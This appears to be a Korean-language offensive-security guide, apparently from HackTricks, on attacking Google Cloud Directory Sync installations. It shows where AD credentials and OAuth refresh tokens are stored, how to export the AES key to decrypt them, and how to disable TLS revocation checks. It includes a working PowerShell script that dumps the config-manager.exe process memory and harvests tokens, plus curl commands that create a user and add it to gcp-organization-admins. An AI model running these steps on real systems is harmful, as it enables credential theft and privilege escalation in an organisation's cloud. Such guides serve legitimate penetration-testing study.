이 도구는 활성 디렉토리 사용자 및 그룹을 Workspace에 동기화하는 데 사용할 수 있는 도구입니다 (이 글을 작성할 당시에는 그 반대는 아닙니다).
이 도구는 Workspace 슈퍼유저 및 권한이 있는 AD 사용자의 자격 증명이 필요하기 때문에 흥미롭습니다. 따라서 사용자 동기화를 위해 가끔 도메인 서버 내에서 찾을 수 있을지도 모릅니다.
config-manager.exe 바이너리에 대해 MitM을 수행하려면 config.manager.vmoptions 파일에 다음 줄을 추가하세요: -Dcom.sun.net.ssl.checkRevocation=false
Winpeas가 GCDS를 감지하고, 구성에 대한 정보를 얻으며 심지어 비밀번호와 암호화된 자격 증명을 확인할 수 있다는 점에 유의하세요.
또한 GCDS는 AD에서 Workspace로 비밀번호를 동기화하지 않습니다. 만약 무언가가 있다면, 새로 생성된 사용자에 대해 Workspace에서 무작위 비밀번호를 생성할 뿐입니다. 다음 이미지에서 볼 수 있습니다:
GCDS - Disk Tokens & AD Credentials
바이너리 config-manager.exe (GUI가 있는 주요 GCDS 바이너리)는 기본적으로 C:\Program Files\Google Cloud Directory Sync 폴더의 **Untitled-1.xml**이라는 xml 파일에 구성된 Active Directory 자격 증명, 새로 고침 토큰 및 액세스를 저장합니다. 그러나 사용자 Documents 또는 다른 폴더에 저장될 수도 있습니다.
또한 레지스트리 **HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui**의 open.recent 키에는 최근에 열린 모든 구성 파일(xml)의 경로가 포함되어 있습니다. 따라서 이를 확인하여 찾을 수 있습니다.
사용자의 refreshtoken과 password가 AES CBC를 사용하여 무작위로 생성된 키와 IV로 암호화된다는 점에 유의하십시오. 이 키와 IV는 **HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util**에 저장됩니다(여기서 prefs Java 라이브러리는 기본 설정을 저장합니다). 문자열 키 **/Encryption/Policy/V2.iv**와 **/Encryption/Policy/V2.key**에 base64로 저장됩니다.
</details>
<div data-gb-custom-block data-tag="hint" data-style='info'>
이 정보를 확인하는 방법은 **`C:\Program Files\Google Cloud Directory Sync`**의 **`DirSync.jar`** 자바 코드를 확인하고 `exportkeys` 문자열을 검색하는 것입니다 (이는 바이너리 `upgrade-config.exe`가 키를 덤프하기 위해 기대하는 CLI 매개변수입니다).
</div>
powershell 스크립트를 사용하는 대신, 매개변수 `-exportKeys`와 함께 바이너리 **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`**를 사용하여 레지스트리에서 **Key**와 **IV**를 헥사로 가져온 다음, AES/CBC와 해당 키 및 IV를 사용하여 정보를 복호화할 수 있습니다.
### GCDS - 메모리에서 토큰 덤프하기
GCPW와 마찬가지로, `config-manager.exe` 프로세스의 메모리를 덤프할 수 있습니다 (이것은 GCDS의 GUI가 있는 주요 바이너리의 이름입니다) 그리고 이미 생성된 경우 새로 고침 및 액세스 토큰을 찾을 수 있습니다.\
AD에 구성된 자격 증명도 찾을 수 있을 것입니다.
<details>
<summary>config-manager.exe 프로세스 덤프 및 토큰 검색</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
GCDS - 리프레시 토큰에서 액세스 토큰 생성
리프레시 토큰을 사용하여 다음 명령에 지정된 클라이언트 ID와 클라이언트 비밀을 사용하여 액세스 토큰을 생성할 수 있습니다:
#### 사용자 생성 및 `gcp-organization-admins` 그룹에 추가하여 GCP에서 권한 상승 시도
```bash
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'
# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'
# You could also change the password of a user for example
새 사용자에게 Super Amin 역할을 부여할 수 없습니다. 리프레시 토큰에 필요한 권한을 부여할 수 있는 충분한 범위가 없습니다.